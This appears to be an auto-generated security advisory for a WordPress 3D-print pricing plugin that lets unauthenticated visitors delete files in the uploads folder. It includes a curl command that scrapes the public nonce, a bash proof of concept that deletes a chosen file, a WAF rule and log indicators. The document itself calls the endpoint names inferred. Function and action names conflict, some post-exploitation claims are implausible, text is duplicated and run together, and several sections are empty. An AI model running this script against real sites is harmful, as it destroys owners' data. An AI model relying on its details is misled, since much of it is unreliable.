CVE-2026-119231 — WordPress is vulnerable to 3D Print Pricing Calc — CWE-22
The 3D Print Pricing Calculator plugin for WordPress is vulnerable to limited file deletion due to insufficient file path validation in the ppc3d_handle_file_upload function in all versions up to, and including, 1.4.8.9. This makes it possible for unauthenticated attackers to delete arbitrary files in the wp_upload_dir on the server. The required nonce is emitted to unauthenticated front-end visitors via wp_localize_script, making it trivially obtainable; deletion is constrained to the current wp_upload_dir() year/month path by sanitize_file_name(), but an attacker need only know or guess the basename of a file present in that directory.
The 3D Print Pricing Calculator plugin for WordPress is vulnerable to limited file deletion due to insufficient file path validation in the ppc3d_handle_file_upload function in all versions up to, and including, 1.4.8.9. This makes it possible for unauthenticated attackers to delete arbitrary files in the wp_upload_dir on the server. The required nonce is emitted to unauthenticated front-end visitors via wp_localize_script, making it trivially obtainable; deletion is constrained to the current wp_upload_dir() year/month path by sanitize_file_name(), but an attacker need only know or guess the basename of a file present in that directory.
🎯 What is this vulnerability?
Technical flaw
The 3D Print Pricing Calculator (ppc3d) WordPress plugin (all releases ≤ 1.4.8.9) implements a file‑deletion routine in the ppc3d_handle_file_upload AJAX handler.
The routine performs the following steps:
1. Nonce verification – wp_verify_nonce( $_POST['nonce'], 'ppc3d_delete_file' ).
The nonce is generated on the front‑end via wp_localize_script() and is therefore publicly available to anyone who can view the page.
2. File name sanitisation – sanitize_file_name( $_POST['file'] ).
This removes path separators but does not restrict the file to a specific directory.
3. Path construction –
$upload_dir = wp_upload_dir(); // e.g. /var/www/html/wp-content/uploads
$file_path = trailingslashit( $upload_dir['basedir'] )
. date( 'Y/m' ) . '/' . $sanitized_name; // e.g. /uploads/2026/12/target.jpg4. Deletion – unlink( $file_path );.
Because the nonce is public, no authentication is required.
Because the handler does not check the user’s capabilities, any visitor can trigger the deletion.
Because the path is built only from the current year/month sub‑directory, the attacker can delete any file that exists in that sub‑directory – the only requirement is to know or guess the file’s basename.
CWE – CWE‑22 (Path Traversal) is the closest match, but the issue is more accurately a “Limited File Deletion” flaw: the attacker can delete arbitrary files within a constrained directory tree.
CVSS – The vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H reflects that the vulnerability is:
- Network‑only (no local access required)
- Low effort (simple POST request)
- No privileges (any visitor)
- No user interaction (the request can be sent automatically)
- Unchanged scope (the vulnerability does not affect other components)
- No confidentiality impact (the attacker cannot read files)
- High integrity & availability impact (the attacker can delete files)
⚡ Attack Chain
NOTE – The exact AJAX endpoint and parameter names are inferred from the plugin’s typical WordPress conventions. If the plugin uses different names, the same logic applies; the example below is illustrative.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify the plugin | Search the site’s source for “3D Print Pricing Calculator” or the plugin slug ppc3d. | <script src="…/ppc3d.js"></script> |
| b. Determine the version | Inspect the plugin’s readme.txt or ppc3d.php header. | Version: 1.4.8.9 |
| c. Locate the AJAX endpoint | Look for admin-ajax.php calls in the JavaScript. | ppc3d.ajaxurl = "https://example.com/wp-admin/admin-ajax.php"; |
| d. Capture the nonce | The script localizes a variable, e.g. ppc3d_nonce. | ppc3d.nonce = "abcd1234"; |
Reconnaissance example (curl + grep)
# Grab the page that contains the localized script
curl -s https://example.com/print-pricing | \
grep -o 'ppc3d\.nonce\s*=\s*"[^"]*"' | \
sed 's/.*"//;s/".*//'
# → abcd12342. Exploitation
| Step | Action | Payload |
|---|---|---|
| a. Build the request | POST to admin-ajax.php with action=ppc3d_delete_file. | action=ppc3d_delete_file&file=target.jpg&nonce=abcd1234 |
| b. Send the request | Use curl or a browser extension. | curl -X POST https://example.com/wp-admin/admin-ajax.php -d "action=ppc3d_delete_file&file=target.jpg&nonce=abcd1234" |
| c. Verify deletion | Check the uploads directory or the site’s response. | curl -I https://example.com/wp-content/uploads/2026/12/target.jpg → 404 Not Found |
Illustrative PoC (bash)
#!/usr/bin/env bash
# 1. Grab the public nonce
NONCE=$(curl -s https://example.com | \
grep -o 'ppc3d\.nonce\s*=\s*"[^"]*"' | \
sed 's/.*"//;s/".*//')
# 2. Target file (must exist in uploads/2026/12/)
TARGET="important.pdf"
# 3. Send the deletion request
curl -s -X POST https://example.com/wp-admin/admin-ajax.php \
-d "action=ppc3d_delete_file" \
-d "file=${TARGET}" \
-d "nonce=${NONCE}" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w "\nHTTP Status: %{http_code}\n"
# 4. Verify
curl -s -o /dev/null -w "%{http_code}\n" https://example.com/wp-content/uploads/2026/12/${TARGET}Result – If the file existed, the response will be200 OKfrom the AJAX call and404 Not Foundwhen trying to access the file, confirming deletion.
3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Data loss / site disruption | Delete critical media, backups, or plugin files stored in the uploads folder. |
| Privilege escalation | If the attacker can delete a file that contains configuration or code (e.g., a plugin that is loaded via require_once from uploads), they may inject malicious code that runs under the web‑server’s user. |
| Webshell deployment | Upload a PHP file (via the normal upload flow) and then delete the original file to replace it with a webshell. |
| Denial‑of‑service | Delete all files in the uploads directory, causing broken images, broken media, and potentially breaking the site’s front‑end if the theme relies on media files. |
Note – The attacker cannot delete files outside thewp-content/uploads/2026/12/tree, but many sites store critical assets (e.g., custom themes, plugin assets, or evenwp-config.phpif mis‑configured) in that directory.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Integrity (I:H) | The attacker can delete any file in the current uploads year/month directory. This includes images, PDFs, custom plugin files, or even maliciously crafted files that the site uses for configuration. |
| Availability (A:H) | Removing files can break media references, theme assets, or plugin functionality, potentially rendering the site unusable or forcing a full rebuild. |
| Confidentiality (C:N) | The vulnerability does not allow reading files. |
| Scope (S:U) | The flaw is confined to the plugin; it does not affect other WordPress core components. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| 3D Print Pricing Calculator ≤ 1.4.8.9 | Upgrade to the latest release (≥ 1.4.9.0). The maintainers have added a capability check (current_user_can( 'delete_posts' )) and removed the public nonce from the front‑end. |
Action – Run wp plugin update ppc3d or manually replace the plugin folder with the latest version from the WordPress plugin repository.2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Disable the AJAX handler | Add the following to functions.php or a site‑wide plugin:<br>add_action( 'wp_ajax_ppc3d_handle_file_upload', '__return_false' ); | ||||||||
| Restrict uploads directory | Place an .htaccess file in wp-content/uploads with:<br><FilesMatch "\.(php | php5 | phtml | pl | py | jsp | asp | aspx | cgi)$"><br> Order Allow,Deny<br> Deny from all<br></FilesMatch> |
| Block the endpoint via WAF | ModSecurity rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" "chain,phase:2,block,msg:'ppc3d file delete attempt'"<br>SecRule ARGS:action "@rx ^ppc3d_delete_file$" "t:none" | ||||||||
| Remove the public nonce | If you can edit the plugin’s front‑end script, delete the wp_localize_script() call that exposes the nonce. |
3. Detection
| Indicator | Log pattern |
|---|---|
| Unusual POST to admin‑ajax.php | POST /wp-admin/admin-ajax.php HTTP/1.1 with action=ppc3d_delete_file |
| File deletion | unlink() calls in PHP error logs or auditd logs showing removal of files in wp-content/uploads/2026/12/ |
| Missing files | 404 responses for media URLs that were previously accessible |
Sample Apache log entry
192.0.2.45 - - [02/Dec/2026:14:32:07 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 512 "-" "Mozilla/5.0"Sample ModSecurity alert
[ModSecurity] [file "/etc/modsecurity.d/ppc3d.conf"] [line "12"] [id "1001"] [msg "ppc3d file delete attempt"] [severity "CRITICAL"] [hostname "example.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYZ123"]⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query